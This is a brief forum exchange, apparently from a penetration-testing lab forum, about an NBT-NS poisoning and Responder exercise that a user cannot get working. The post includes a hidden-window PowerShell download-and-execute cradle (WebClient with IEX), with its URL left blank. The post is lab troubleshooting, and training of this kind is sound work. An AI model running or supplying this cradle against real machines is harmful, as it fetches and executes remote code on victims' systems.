NBT-NS Poisoning and Exploitation with Responder

I’m stuck with this lab. Although I’ve tried many times follows the solution but it didn’t work out for me.
It seems to be the lab has some problems.
By the way, if you know where have I done wrong, pls guide me. Thanks a lot.

powershell.exe -nop -w hidden -c $G=new-object net.webclient;$G.proxy=[Net.WebRequest]::GetSystemWebProxy();$G.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $G.downloadstring('');

Hey, check this post as there are some changes in Metasploit. Lab 11 - #2 by adoreste-cee223bb97c